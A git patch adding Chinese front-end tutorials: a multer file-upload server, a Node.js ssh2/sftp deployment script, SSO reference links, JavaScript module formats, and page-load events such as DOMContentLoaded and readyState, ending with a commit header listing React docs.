`http://localhost:3000/${commonPath}/${file.filename}`, + }); + // 复原公共路径 + commonPath = 'uploads/' +}); +``` + +### multer 配置 + +代码使用了 multer 中间件来处理上传文件的请求。Multer 是一个 node.js 中间件,用于处理文件上传,支持多文件上传,可以设置文件大小、文件类型和保存路径等。 + +以下是对代码配置项的解释: + +1. `dest` 属性指定上传文件的保存目录,这里设置为 'uploads/' 目录下。如果目录不存在,则会自动创建。 +2. `limits` 属性设置上传文件的限制,这里限制文件大小为 10MB。 +3. `fileFilter` 属性指定上传文件的类型,这里限制只能上传 image/png、image/jpeg、image/gif、image/webp、image/svg+xml 这些类型的文件。如果文件类型不在指定的类型列表中,则会触发错误。 +4. `storage` 属性指定上传文件的存储方式,这里使用了 diskStorage 存储方式。在存储文件时,会根据上传时间按年月日来创建文件夹,并将文件存储在对应的文件夹下。 +5. `filename` 方法指定上传文件的命名规则,这里使用时间戳加原始文件名的方式来命名文件。 + +```js +// 上传文件的中间件 +const upload = multer({ + dest: 'uploads/', + limits: { + fileSize: 1024 * 1024 * 10, // 限制文件大小为10M + }, + fileFilter: (req, file, cb) => { + // 限制文件类型 + const allowedTypes = ['image/png', 'image/jpeg', 'image/gif', 'image/webp', 'image/svg+xml']; + if (!allowedTypes.includes(file.mimetype)) { + cb(new Error('Invalid file type.')); + return; + } + cb(null, true); + }, + storage: multer.diskStorage({ + destination: (req, file, cb) => { + if (!fs.existsSync('uploads/')) { + fs.mkdirSync('uploads/'); + } + // 获取日期 + const date = new Date(); + const year = date.getFullYear(); + const month = date.getMonth() + 1; + const day = date.getDate(); + commonPath = path.join(commonPath, year.toString()); + if (!fs.existsSync(path.join(commonPath))) { + fs.mkdirSync(path.join(commonPath)); + } + commonPath = path.join(commonPath, month.toString().padStart(2, '0')); + if (!fs.existsSync(path.join(commonPath))) { + fs.mkdirSync(path.join(commonPath)); + } + // 拼接路径 + cb(null, commonPath); + }, + filename: (req, file, cb) => { + cb(null, `${Date.now()}${file.originalname}`); + }, + }), +}); +``` + +## 完整代码: + +```js +import express, {Request, Response} from 'express'; +import multer from 'multer'; +import fs from 'fs'; +import path from 'path'; + +const app = express(); + +// 公共路径 +let commonPath = 'uploads/'; +// 上传文件的中间件 +const upload = multer({ + dest: 'uploads/', + limits: { + fileSize: 1024 * 1024 * 10, // 限制文件大小为10M + }, + fileFilter: (req, file, cb) => { + // 限制文件类型 + const allowedTypes = ['image/png', 'image/jpeg', 'image/gif', 'image/webp', 'image/svg+xml']; + if (!allowedTypes.includes(file.mimetype)) { + cb(new Error('Invalid file type.')); + return; + } + cb(null, true); + }, + storage: multer.diskStorage({ + destination: (req, file, cb) => { + if (!fs.existsSync('uploads/')) { + fs.mkdirSync('uploads/'); + } + // 获取日期 + const date = new Date(); + const year = date.getFullYear(); + const month = date.getMonth() + 1; + const day = date.getDate(); + commonPath = path.join(commonPath, year.toString()); + if (!fs.existsSync(path.join(commonPath))) { + fs.mkdirSync(path.join(commonPath)); + } + commonPath = path.join(commonPath, month.toString().padStart(2, '0')); + if (!fs.existsSync(path.join(commonPath))) { + fs.mkdirSync(path.join(commonPath)); + } + // 拼接路径 + cb(null, commonPath); + }, + filename: (req, file, cb) => { + cb(null, `${Date.now()}${file.originalname}`); + }, + }), +}); + +// 允许跨域请求 +app.use((req: Request, res: Response, next) => { + res.header('Access-Control-Allow-Origin', '*'); + res.header('Access-Control-Allow-Methods', 'GET, POST'); + res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization, Content-Length, X-Requested-With'); + next(); +}); + +// 静态文件路由 +app.use('/uploads', express.static(path.resolve(__dirname, '../uploads'))); + +// 上传文件路由 +app.post('/upload', upload.single('file'), (req: Request, res: Response) => { + const file = req.file; + if (!file) { + res.status(400).send('Please upload a file.'); + return; + } + + // 返回文件信息 + res.send({ + filename: file.filename, + originalname: file.originalname, + mimetype: file.mimetype, + size: file.size, + path: `http://localhost:3000/${commonPath}/${file.filename}`, + }); + commonPath = 'uploads/' +}); + +// 启动服务器 +const port = process.env.PORT || 3000; +app.listen(port, () => { + console.log(`server started at http://localhost:${port}`); +}); +``` \ No newline at end of file diff --git "a/src/JavaScript/\344\275\277\347\224\250Node.js\343\200\201pm2\345\222\214ssh2\346\250\241\345\235\227\345\256\236\347\216\260\344\270\200\344\270\252\347\256\200\345\215\225\347\232\204Node.js\351\241\271\347\233\256\351\203\250\347\275\262\350\204\232\346\234\254.md" "b/src/JavaScript/\344\275\277\347\224\250Node.js\343\200\201pm2\345\222\214ssh2\346\250\241\345\235\227\345\256\236\347\216\260\344\270\200\344\270\252\347\256\200\345\215\225\347\232\204Node.js\351\241\271\347\233\256\351\203\250\347\275\262\350\204\232\346\234\254.md" new file mode 100644 index 00000000..dd5c6dc2 --- /dev/null +++ "b/src/JavaScript/\344\275\277\347\224\250Node.js\343\200\201pm2\345\222\214ssh2\346\250\241\345\235\227\345\256\236\347\216\260\344\270\200\344\270\252\347\256\200\345\215\225\347\232\204Node.js\351\241\271\347\233\256\351\203\250\347\275\262\350\204\232\346\234\254.md" @@ -0,0 +1,263 @@ +本文将介绍如何使用Node.js和ssh2模块实现一个简单的部署脚本,将本地的项目文件上传到远程服务器上。我们将使用dotenv模块来管理环境变量,以及child_process模块来执行命令行操作。 + +首先,我们需要安装ssh2和dotenv模块: + +```bash +npm install ssh2 dotenv --save +``` + +然后,我们需要在项目根目录下创建一个.env文件,用来存放一些敏感的配置信息,例如服务器的IP地址、端口号、用户名、私钥等。这样,我们就可以避免将这些信息暴露在代码中,也方便我们根据不同的环境进行切换。.env文件的内容如下: + +```env +HOST=192.168.1.100 +SSHPORT=22 +USER=root +KEYFILE=~/.ssh/id_rsa +SSHKEY=" +-----BEGIN OPENSSH PRIVATE KEY----- +... +-----END OPENSSH PRIVATE KEY----- +" +``` + +```js +const fs = require('fs'); +const Client = require('ssh2').Client; +require('dotenv').config(); +``` + +其中,fs模块是Node.js内置的文件系统模块,用来读写文件;Client是ssh2模块提供的一个类,用来创建SSH连接;dotenv模块是用来加载.env文件中的配置信息到process.env对象中。 + +然后,我们需要定义一些常量,用来存放SSH连接配置和本地目录路径和远程目录路径: + +```js +// SSH连接配置 +const sshConfig = { + host: process.env.HOST || '127.0.0.1', + port: process.env.SSHPORT || 22, + username: process.env.USER || 'root', + privateKey: process.env.SSHKEY || fs.readFileSync(process.env.KEYFILE || '/.ssh/id_rsa').toString(), + // 这里使用的是通过密钥登入,使用密码登入也是可以的,两种配置项可以并存,其中一个失败了ssh2会则尝试另一个方法 +}; + +// 本地目录路径和远程目录路径 +const localDir = __dirname; +const remoteDir = '/www/wwwroot/img-service'; +``` + +其中,我们使用了process.env对象中的属性来获取环境变量的值,如果没有定义,则使用默认值。注意,私钥需要转换为字符串格式。 + +接着,我们需要创建一个Client实例,并调用connect方法来建立SSH连接: + +```js +// 创建SSH连接 +const conn = new Client(); +conn.on('ready', () => { + console.log('SSH连接成功'); + // ... +}).connect(sshConfig); + +// 监听error事件 +conn.on('error', (err) => { + console.error('SSH连接失败', err); +}); + +// 结束SSH连接 +conn.on('end', () => { + console.log('SSH连接已断开'); +}); +``` + +在ready事件的回调函数中,我们需要进行部署操作。具体来说,我们需要做两件事:一是执行npm run build命令来构建项目;二是将构建后的文件上传到远程服务器上。(当然,构建指令也可以在连接之前进行) + +```js +// 项目构建 +const { execSync } = require('child_process'); +execSync('npm run build', { stdio: 'inherit' }) +``` + +execSync 是 Node.js 的一个内置模块,它可以同步地执行一个子进程,并返回子进程的输出。这样可以避免异步的回调地狱,也可以保证构建的顺序和正确性。stdio 参数是用来控制子进程的输入输出的,它可以是一个数组或一个字符串。如果是一个数组,那么它表示子进程的标准输入、标准输出和标准错误的流。如果是一个字符串,那么它表示子进程的所有流的模式。inherit 表示子进程的流和父进程的流相同,也就是说,子进程的输出会显示在父进程的控制台中。 + +欧克,现在我们写一下将本地目录下的所有文件上传至服务器上指定目录的代码,使用sftp进行文件上传: + +```js + // 将本地目录下的所有文件上传至服务器上指定目录 + const uploadPromise = []; + conn.sftp((err, sftp) => { + if (err) throw err; + // 待上传文件or目录 + const files = ['dist', 'package.json', '.env']; + + const uploadFile = (file) => { + return new Promise((resolve, reject) => { + try { + const localFilePath = localDir + '/' + file; + const remoteFilePath = remoteDir + '/' + file; + const readStream = fs.createReadStream(localFilePath); + const writeStream = sftp.createWriteStream(remoteFilePath); + writeStream.on('close', () => { + console.log(`文件 ${file} 上传成功`); + resolve(); + }); + writeStream.on('error', (err) => { + console.log(`文件 ${file} 上传失败:${err}`); + reject(err); + }); + readStream.pipe(writeStream); + } catch (error) { + reject(error); + } + }); + } +``` + +同时我们需要有人解析文件目录,并执行我们的上传指令: + +```js + const uploadDir = (files) => { + files.forEach((file) => { + // 检查是否存在文件 + const isExist = fs.existsSync(file); + const stat = fs.lstatSync(file); + if (!isExist) { + console.log(`文件 ${file} 不存在`); + }else if (stat.isDirectory(file)){ + const dirFiles = fs.readdirSync(file); + uploadDir(dirFiles.map((dirFile) => file + '/' + dirFile)); + }else if (stat.isFile(file)){ + uploadPromise.push(uploadFile(file)); + } + }); + } + uploadDir(files); +``` + +最后,还记得我们收集的`Promise`数组吗?直接用`Promise.all`帮我们处理等待全部文件上传后的回调: + +```js + Promise.all(uploadPromise).then(() => { + console.log('所有文件上传成功'); + // 执行SSH命令 + conn.shell((err, stream) => { + if (err) throw err; + stream.on('close', () => { + console.log('远程命令执行完毕'); + conn.end(); + }).on('data', (data) => { + console.log('远程命令输出:\n' + data); + }).stderr.on('data', (data) => { + console.log('远程命令错误:\n' + data); + }); + stream.end('ls -l /www/wwwroot/img-service\npm2 restart img-service\nexit\n'); + }); + }).catch((err) => { + console.log('上传失败:' + err); + }); +``` + +欧克,最后附上完整代码 + +```js +const fs = require('fs'); +const Client = require('ssh2').Client; +require('dotenv').config(); + +// 项目构建 +const { execSync } = require('child_process'); +execSync('npm run build', { stdio: 'inherit' }) + +// SSH连接配置 +const sshConfig = { + host: process.env.HOST || '127.0.0.1', + port: process.env.SSHPORT || 22, + username: process.env.USER || 'root', + privateKey: process.env.SSHKEY || fs.readFileSync(process.env.KEYFILE || '/.ssh/id_rsa').toString(), +}; + +// 本地目录路径和远程目录路径 +const localDir = __dirname; +const remoteDir = '/www/wwwroot/img-service'; + + +// 创建SSH连接 +const conn = new Client(); +// 监听ready事件 +conn.on('ready', () => { + console.log('SSH连接成功'); + + // 将本地目录下的所有文件上传至服务器上指定目录 + const uploadPromise = []; + conn.sftp((err, sftp) => { + if (err) throw err; + const files = ['dist', 'package.json', '.env']; + + const uploadFile = (file) => { + return new Promise((resolve, reject) => { + try { + const localFilePath = localDir + '/' + file; + const remoteFilePath = remoteDir + '/' + file; + const readStream = fs.createReadStream(localFilePath); + const writeStream = sftp.createWriteStream(remoteFilePath); + writeStream.on('close', () => { + console.log(`文件 ${file} 上传成功`); + resolve(); + }); + writeStream.on('error', (err) => { + console.log(`文件 ${file} 上传失败:${err}`); + reject(err); + }); + readStream.pipe(writeStream); + } catch (error) { + reject(error); + } + }); + } + + const uploadDir = (files) => { + files.forEach((file) => { + // 检查是否存在文件 + const isExist = fs.existsSync(file); + const stat = fs.lstatSync(file); + if (!isExist) { + console.log(`文件 ${file} 不存在`); + }else if (stat.isDirectory(file)){ + const dirFiles = fs.readdirSync(file); + uploadDir(dirFiles.map((dirFile) => file + '/' + dirFile)); + }else if (stat.isFile(file)){ + uploadPromise.push(uploadFile(file)); + } + }); + } + uploadDir(files); + + Promise.all(uploadPromise).then(() => { + console.log('所有文件上传成功'); + // 执行SSH命令 + conn.shell((err, stream) => { + if (err) throw err; + stream.on('close', () => { + console.log('远程命令执行完毕'); + conn.end(); + }).on('data', (data) => { + console.log('远程命令输出:\n' + data); + }).stderr.on('data', (data) => { + console.log('远程命令错误:\n' + data); + }); + stream.end('ls -l /www/wwwroot/img-service\npm2 restart img-service\nexit\n'); + }); + }).catch((err) => { + console.log('上传失败:' + err); + }); + }); +}).connect(sshConfig); + +// 监听error事件 +conn.on('error', (err) => { + console.error('SSH连接失败', err); +}); + +// 结束SSH连接 +conn.on('end', () => { + console.log('SSH连接已断开'); +}); +``` \ No newline at end of file diff --git "a/src/JavaScript/\345\211\215\347\253\257 SSO \345\215\225\347\202\271\347\231\273\345\205\245\346\226\271\346\241\210.md" "b/src/JavaScript/\345\211\215\347\253\257 SSO \345\215\225\347\202\271\347\231\273\345\205\245\346\226\271\346\241\210.md" new file mode 100644 index 00000000..e3d21d9c --- /dev/null +++ "b/src/JavaScript/\345\211\215\347\253\257 SSO \345\215\225\347\202\271\347\231\273\345\205\245\346\226\271\346\241\210.md" @@ -0,0 +1,11 @@ + + + + +## 参考 + +- [前端关于单点登录的知识 - 掘金](https://juejin.cn/post/6844903664264413198) +- [前端常见登录实现方案 + 单点登录方案 - 掘金](https://juejin.cn/post/6933115003327217671) +- [前端关于单点登录SSO的知识 - 掘金](https://juejin.cn/post/6844903664985866253) +- [localstorage的跨域存储方案 - 简书](https://www.jianshu.com/p/e86d92aeae69) +- [localStorage跨域存储,实战篇 - 掘金](https://juejin.cn/post/6844904112165748743) \ No newline at end of file diff --git "a/src/JavaScript/\345\211\215\347\253\257\346\250\241\345\235\227\357\274\232CJS, AMD, UMD, ESM, System \345\222\214 IIFE.md" "b/src/JavaScript/\345\211\215\347\253\257\346\250\241\345\235\227\357\274\232CJS, AMD, UMD, ESM, System \345\222\214 IIFE.md" new file mode 100644 index 00000000..03e9a81d --- /dev/null +++ "b/src/JavaScript/\345\211\215\347\253\257\346\250\241\345\235\227\357\274\232CJS, AMD, UMD, ESM, System \345\222\214 IIFE.md" @@ -0,0 +1,67 @@ +# 前端模块:CJS, AMD, UMD, ESM, System 和 IIFE + +现代 Javascript 项目需要用打包工具来将小段代码编译成库或者应用程序那种更大更复杂的东西。流行的打包器有webpack、Rollup、Parcel、RequireJS 和 Browserify。它们将 JavaScript 代码转换为可以作为一个 bundle 加载的模块。 + +**一般来说,常见的模块类型有:** + +- CJS(CommonJS) — 适用于 Node 和其他打包工具 +- AMD(Asynchronous Module Definition,异步模块化定义) — 与 RequireJS 等模块加载工具一起使用。 +- UMD(Universal Module Definition,通用模块化定义) — amd,cjs 和 iife 包含在一个文件中。 +- ES— 将 bundle 保存为 ES 模块文件。适用于其他打包工具,在现代浏览器中用\ +``` + +此外,关于`.mjs`扩展名,[V8 推荐了这样的做法](https://v8.dev/features/modules#mjs),但是官方持以推荐继续使用`.js` 扩展名的态度。其中一些工具不支持 `.mjs`,比如 [TypeScript](https://www.typescriptlang.org/)。 + +## 系统模块 [SystemJS](https://github.com/systemjs/systemjs) + +SystemJs 是一个通用的模块**加载器**,支持 CJS,AMD 和 ESM 模块。Rollup 可以将代码打包成 SystemJS 的原生格式。 + +在使用时需要在 `index.html` 中引入 `system.js` + +## 立即执行的函数表达式(IIFE)模块 + +正如模块名所示,IIFE 是一个适合用 ` + + +``` + +在这个例子中 `DOMContentLoaded` 在 document 加载完成后就被触发,无需等待其他资源的载入,所以 `alert` 输出的图像的大小为 0。 + +这么看来 `DOMContentLoaded` 似乎很简单,DOM 树构建完毕之后就运行该事件,不过其实存在一些陷阱。 + +### DOMContentLoaded 和 JS 脚本 + +当浏览器在解析 HTML 页面时遇到了 `` 标签,将无法继续构建DOM树(译注:UI 渲染线程与 JS 引擎是互斥的,当 JS 引擎执行时 UI 线程会被挂起),必须立即执行脚本。所以 `DOMContentLoaded` 有可能在所有脚本执行完毕后触发。 + +外部脚本(带 `src` 的)的加载和解析也会暂停DOM树构建,所以 `DOMContentLoaded` 也会等待外部脚本。 + +不过有两个例外是带 `async` 和 `defer` 的外部脚本,他们告诉浏览器继续解析而不需要等待脚本的执行,所以用户可以在脚本加载完成前可以看到页面,有较好的用户体验。 + +`async` 和 `defer` 属性仅仅对外部脚本起作用,并且他们在 `src` 不存在时会被自动忽略。 + +它们都告诉浏览器继续处理页面上的内容,而在后台加载脚本,然后在脚本加载完毕后再执行。所以脚本不会阻塞DOM树的构建和页面的渲染。 + +**区别:** + +| | 顺序 | `DOMContentLoaded` | +| ------- | ------------------------------------------------------------ | ------------------------------------------------------------ | +| `async` | **加载优先顺序**。脚本在文档中的顺序不重要 —— 先加载完成的先执行 | 不相关。可能在文档加载完成前加载并执行完毕。如果脚本很小或者来自于缓存,同时文档足够长,就会发生这种情况。 | +| `defer` | **文档顺序**(它们在文档中的顺序) | 在文档加载和解析完成之后(如果需要,则会等待),即在 `DOMContentLoaded` 之前执行。 | + +> 表格参照:https://zh.javascript.info/script-async-defer + +### DOMContentLoaded 与样式表 + +外部样式表并不会阻塞 DOM 的解析,所以 `DOMContentLoaded` 并不会被它们影响。 + +不过仍然有一个陷阱:如果在样式后面有一个内联脚本,那么脚本必须等待样式先加载完。简单来说,JS 因为有可能会去获取 DOM 的样式,所以 JS 会等待样式表加载完毕,而 JS 是阻塞 DOM 的解析的,所以在有外部样式表的时候,JS 会一直阻塞到外部样式表下载完毕,所以,这直接影响DOMContentLoaded的完成。 + +```js + + +``` + +发生这种事的原因是脚本也许会像上面的例子中所示,去得到一些元素的坐标或者基于样式的属性。所以他们自然要等到样式加载完毕才可以执行。 + +`DOMContentLoaded `需要等待脚本的执行,脚本又需要等待样式的加载。 + +### 浏览器的自动补全 + +Firefox, Chrome 和 Opera 会在 `DOMContentLoaded` 执行时自动补全表单。 + +例如,如果页面有登录的界面,浏览器记住了该页面的用户名和密码,那么在 `DOMContentLoaded` 运行的时候浏览器会试图自动补全表单(如果用户设置允许)。 + +所以如果 `DOMContentLoaded` 被一个需要长时间执行的脚本阻塞,那么自动补全也会等待。你也许见过某些网站(如果你的浏览器开启了自动补全)—— 浏览器并不会立刻补全登录项,而是等到整个页面加载完毕后才填充。这就是因为在等待 `DOMContentLoaded` 事件。 + +> defer脚本一定是在DOMContentLoaded事件前执行。 + +`defer` 是会阻塞 `DOMContentLoaded` 的,被 `defer` 的脚本要在 `DOMContentLoaded` 触发前执行,所以如果HTML很快就加载完了(先不考虑 CSS 阻塞 `DOMContentLoaded` 的情况),而 `defer` 的脚本还没有加载完,浏览器就会等,等到脚本加载完,执行完,再触发 `DOMContentLoaded`,放上一张图(取自在 devTool 下分析自己写的一个页面) + +[![image](https://cdn.yihuiblog.top/images/202210302046112.png)](https://user-images.githubusercontent.com/12322740/35795637-bb7d438c-0a94-11e8-9fd6-71bfe1b99b32.png) + +可以看到,HTML很快就加载和解析完毕(CSS 在这里是动态加载的,不阻塞 `DOMContentLoaded`),jQuery 和main.js 的脚本是 `defer` 的, `DOMContentLoaded`(蓝线)一直在等,等到这两个脚本下载完并执行完,才触发了 `DOMContentLoaded`。 +从这个角度看来,`defer` 和把脚本放在 `` 前真是没啥区别,只不过 `defer` 脚本位 于`head `中,更早被读到,加载更早,而且不担心会被其他的脚本推迟下载开始的时间。 + +## window.onload + +`window` 对象上的 `onload` 事件在所有文件包括样式表,图片和其他资源下载完毕后触发。 + +下面的例子正确检测了图片的大小,因为 `window.onload` 会等待所有图片的加载。 + +```js + + + +``` + +## window.onunload + +用户离开(关闭)页面的时候,`window` 对象上的 `unload` 事件会被触发,我们可以做一些不存在延迟的事情,比如关闭弹出的窗口,可是我们无法阻止用户转移到另一个页面上。 + +所以我们需要使用另一个事件 — `onbeforeunload`。 + +## window.onbeforeunload + +如果用户即将离开页面或者关闭窗口时,`beforeunload` 事件将会被触发以进行额外的确认。 + +浏览器将显示返回的字符串,举个例子: + +```js +window.onbeforeunload = function() { + return "There are unsaved changes. Leave now?"; +}; +``` + +有些浏览器像 **Chrome 和火狐**会忽略返回的字符串取而代之显示浏览器自身的文本,这是为了安全考虑,来保证用户不受到错误信息的误导。 + +## readyState + +如果我们在整个页面加载完毕后设置 `DOMContentLoaded` 会发生什么呢? + +啥也没有,`DOMContentLoaded` 不会被触发。 + +**`document.readyState `属性给了我们加载的信息**,有三个可能的值: + +- `loading` 加载 —— document仍在加载。 +- `interactive` 互动 —— 文档已经完成加载,文档已被解析,但是诸如图像,样式表和框架之类的子资源仍在加载。 +- `complete` —— 文档和所有子资源已完成加载。状态表示 `load` 事件即将被触发。 + +所以我们可以检查 `document.readyState` 的状态,如果没有就绪可以选择挂载事件,如果已经就绪了就可以直接立即执行。 + +像这样: + +``` +function work() { /*...*/ } + +if (document.readyState == 'loading') { + document.addEventListener('DOMContentLoaded', work); +} else { + work(); +} +``` + +每当文档的加载状态改变的时候就有一个 `readystatechange` 事件被触发,所以我们可以打印所有的状态。 + +```js +// current state +console.log(document.readyState); + +// print state changes +document.addEventListener('readystatechange', () => console.log(document.readyState)); +``` + +`readystatechange` 是追踪页面加载的一个可选的方法,很早之前就已经出现了。不过现在很少被使用了,为了保持完整性还是介绍一下它。 + +`readystatechange` 的在各个事件中的执行顺序又是如何呢? + +```js + + + + + + +``` + +输出如下: + +1. `[1] initial readyState:loading` +2. `[2] readyState:interactive` +3. `[2] DOMContentLoaded` +4. `[3] iframe onload` +5. `[4] readyState:complete` +6. `[4] img onload` +7. `[4] window onload` + +方括号中的数字表示他们发生的时间,真实的发生时间会更晚一点,不过相同数字的时间可以认为是在同一时刻被按顺序触发(误差在几毫秒之内) + +- `document.readyState` 在 `DOMContentLoaded` 前一刻变为 `interactive`,这两个事件可以认为是同时发生。 +- `document.readyState` 在所有资源加载完毕后(包括 `iframe` 和 `img`)变成 `complete`,我们可以看到`complete`、 `img.onload` 和 `window.onload` 几乎同时发生,区别就是 `window.onload` 在所有其他的 `load` 事件之后执行。 + +## 总结 + +- 当 DOM 准备就绪时,`document` 上的 `DOMContentLoaded` 事件就会被触发。在这个阶段,我们可以将 JavaScript 应用于元素。 + - 诸如 `` 或 `` 之类的脚本会阻塞 `DOMContentLoaded`,浏览器将等待它们执行结束,`async` 不在此列,但`defer`在此之前执行。 + - 图片和其他资源仍然可以继续被加载。 +- `load` 事件在页面所有资源被加载完毕后触发,通常我们不会用到这个事件,因为我们不需要等那么久。 +- `beforeunload` 在用户即将离开页面时触发,它返回一个字符串,浏览器会向用户展示并询问这个字符串以确定是否离开。如果我们取消这个事件,浏览器就会询问我们是否真的要离开(例如,我们有未保存的更改)。 +- `unload` 在用户已经离开时触发,我们在这个阶段仅可以做一些没有延迟的操作,由于种种限制,很少被使用。在处理程序中,我们只能执行不涉及延迟或询问用户的简单操作。正是由于这个限制,它很少被使用。我们可以使用 `navigator.sendBeacon` 来发送网络请求。 + +- `document.readyState`是文档的当前状态,可以在`readystatechange` 事件中跟踪状态更改: + - `loading` —— 文档正在被加载。 + - `interactive` —— 文档已被解析完成,与 `DOMContentLoaded` 几乎同时发生,但是在 `DOMContentLoaded` 之前发生。 + - `complete` —— 文档和资源均已加载完成,与 `window.onload` 几乎同时发生,但是在 `window.onload` 之前发生。 + +> **参考:** +> +> http://javascript.info/onload-ondomcontentloaded +> +> https://github.com/fi3ework/blog/issues/3 From 7f04e77eebe79e2c6e94fd10d0253e5fb6f3471a Mon Sep 17 00:00:00 2001 From: MoMeak9 <1308994506@qq.com> Date: Tue, 11 Jul 2023 01:55:20 +0800 Subject: [PATCH 10/26] =?UTF-8?q?docs:=20=E2=9C=8F=EF=B8=8F=20React=20?= =?UTF-8?q?=E6=96=87=E6=A1=A3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...72\347\241\200\347\237\245\350\257\206.md" | 30 + ...72\347\241\200\344\275\277\347\224\250.md" | 47 + "src/React/Mobx \346\225\231\347\250\213.md" | 144 ++ ...s \345\256\236\346\210\230\347\257\207.md" | 265 +++ ...75\345\221\250\346\234\237\357\274\237.md" | 112 + ...36\350\260\203\345\207\275\346\225\260.md" | 296 +++ .../React Hooks \345\237\272\347\241\200.md" | 167 ++ ...11\351\234\200\345\212\240\350\275\275.md" | 62 + .../ReactHooks\346\261\207\346\200\273.md" | 443 ++++ ...75\345\221\250\346\234\237\357\274\237.md" | 194 ++ ...76\350\256\241\346\250\241\345\274\217.md" | 169 ++ ...\270\255\344\275\277\347\224\250 Redux.md" | 235 ++ ...22\345\217\202\346\225\260\357\274\237.md" | 268 +++ ...\207\252\345\256\232\344\271\211 Hooks.md" | 322 +++ ...32\344\271\211\344\272\213\344\273\266.md" | 141 ++ ...57\347\224\261\347\256\241\347\220\206.md" | 3 + .../React Native \345\237\272\347\241\200.md" | 302 +++ ...255\344\275\277\347\224\250 TypeScript.md" | 415 ++++ ...71\347\233\256\344\274\230\345\214\226.md" | 170 ++ ...eactRouter V6 \350\247\243\346\236\220.md" | 124 + "src/React/React\345\237\272\347\241\200.md" | 2074 +++++++++++++++++ ...-plugin-react \351\205\215\347\275\256.md" | 222 ++ ...77\344\273\243\346\226\271\346\241\210.md" | 60 + ...45\210\206\357\274\232Server Component.md" | 1345 +++++++++++ ...42\347\232\204\345\256\236\350\267\265.md" | 159 ++ ...ct\347\232\204\346\227\266\346\234\272.md" | 92 + .../Hooks \350\247\243\346\236\220.md" | 18 + ...45\344\275\234\345\216\237\347\220\206.md" | 258 ++ .../React \346\236\266\346\236\204.md" | 150 ++ ...07\344\273\266\347\273\223\346\236\204.md" | 85 + ...66\346\200\201\346\233\264\346\226\260.md" | 48 + .../React \347\220\206\345\277\265.md" | 53 + ...66\346\256\265\346\265\201\347\250\213.md" | 35 + ...66\346\256\265\346\265\201\347\250\213.md" | 117 + .../structure.md" | 0 ...345\205\245\347\220\206\350\247\243JSX.md" | 115 + ...04\344\273\266\347\273\204\345\220\210.md" | 5 + ...46\344\271\240\345\256\236\346\210\230.md" | 271 +++ .../React/React \351\235\242\350\257\225.md" | 1148 +++++++++ ...30\357\274\210\344\270\200\357\274\211.md" | 1984 ++++++++++++++++ ...30\357\274\210\344\272\214\357\274\211.md" | 1919 +++++++++++++++ 41 files changed, 14067 insertions(+) create mode 100644 "src/React/Antd \347\273\204\344\273\266\345\272\223/Antd Pro \346\226\260\346\211\213\344\270\212\350\267\257\345\237\272\347\241\200\347\237\245\350\257\206.md" create mode 100644 "src/React/Antd \347\273\204\344\273\266\345\272\223/Antd \350\241\250\345\215\225\345\237\272\347\241\200\344\275\277\347\224\250.md" create mode 100644 "src/React/Mobx \346\225\231\347\250\213.md" create mode 100644 "src/React/React Hooks\347\254\224\350\256\260/Hooks \345\256\236\346\210\230\347\257\207.md" create mode 100644 "src/React/React Hooks\347\254\224\350\256\260/Hooks \357\274\232\345\246\202\344\275\225\346\255\243\347\241\256\347\220\206\350\247\243\345\207\275\346\225\260\347\273\204\344\273\266\347\232\204\347\224\237\345\221\275\345\221\250\346\234\237\357\274\237.md" create mode 100644 "src/React/React Hooks\347\254\224\350\256\260/Hooks\357\274\2102\357\274\211\357\274\232\351\201\277\345\205\215\351\207\215\345\244\215\345\256\232\344\271\211\345\233\236\350\260\203\345\207\275\346\225\260.md" create mode 100644 "src/React/React Hooks\347\254\224\350\256\260/React Hooks \345\237\272\347\241\200.md" create mode 100644 "src/React/React Hooks\347\254\224\350\256\260/React \345\256\236\347\216\260\346\214\211\351\234\200\345\212\240\350\275\275.md" create mode 100644 "src/React/React Hooks\347\254\224\350\256\260/ReactHooks\346\261\207\346\200\273.md" create mode 100644 "src/React/React Hooks\347\254\224\350\256\260/\345\206\205\347\275\256 Hooks\357\274\2101\357\274\211\357\274\232\345\246\202\344\275\225\344\277\235\345\255\230\347\273\204\344\273\266\347\212\266\346\200\201\345\222\214\344\275\277\347\224\250\347\224\237\345\221\275\345\221\250\346\234\237\357\274\237.md" create mode 100644 "src/React/React Hooks\347\254\224\350\256\260/\345\207\275\346\225\260\347\273\204\344\273\266\350\256\276\350\256\241\346\250\241\345\274\217.md" create mode 100644 "src/React/React Hooks\347\254\224\350\256\260/\345\234\250\345\207\275\346\225\260\347\273\204\344\273\266\344\270\255\344\275\277\347\224\250 Redux.md" create mode 100644 "src/React/React Hooks\347\254\224\350\256\260/\345\246\202\344\275\225\345\261\225\347\244\272\345\257\271\350\257\235\346\241\206\357\274\214\345\271\266\347\273\231\345\257\271\350\257\235\346\241\206\344\274\240\351\200\222\345\217\202\346\225\260\357\274\237.md" create mode 100644 "src/React/React Hooks\347\254\224\350\256\260/\350\207\252\345\256\232\344\271\211 Hooks.md" create mode 100644 "src/React/React Hooks\347\254\224\350\256\260/\350\207\252\345\256\232\344\271\211\344\272\213\344\273\266.md" create mode 100644 "src/React/React Hooks\347\254\224\350\256\260/\350\267\257\347\224\261\347\256\241\347\220\206.md" create mode 100644 "src/React/React Native/React Native \345\237\272\347\241\200.md" create mode 100644 "src/React/React \344\270\255\344\275\277\347\224\250 TypeScript.md" create mode 100644 "src/React/React \351\241\271\347\233\256\344\274\230\345\214\226.md" create mode 100644 "src/React/ReactRouter V6 \350\247\243\346\236\220.md" create mode 100644 "src/React/React\345\237\272\347\241\200.md" create mode 100644 "src/React/eslint-plugin-react \351\205\215\347\275\256.md" create mode 100644 "src/React/useReducer\357\274\232\347\261\273Redux\347\232\204useState\346\233\277\344\273\243\346\226\271\346\241\210.md" create mode 100644 "src/React/\344\273\216\351\233\266\345\274\200\345\247\213\345\256\236\347\216\260RSC - \347\254\254 1 \351\203\250\345\210\206\357\274\232Server Component.md" create mode 100644 "src/React/\345\256\271\345\231\250\345\206\205\351\200\211\346\213\251\345\215\225\344\270\200\345\210\227\350\241\250\345\271\266\350\277\233\350\241\214\351\253\230\344\272\256\345\210\207\346\215\242\347\232\204\345\256\236\350\267\265.md" create mode 100644 "src/React/\346\211\247\350\241\214\345\222\214\346\270\205\351\231\244Effect\347\232\204\346\227\266\346\234\272.md" create mode 100644 "src/React/\346\272\220\347\240\201\345\255\246\344\271\240/Hooks \350\247\243\346\236\220.md" create mode 100644 "src/React/\346\272\220\347\240\201\345\255\246\344\271\240/React \344\270\255\347\232\204 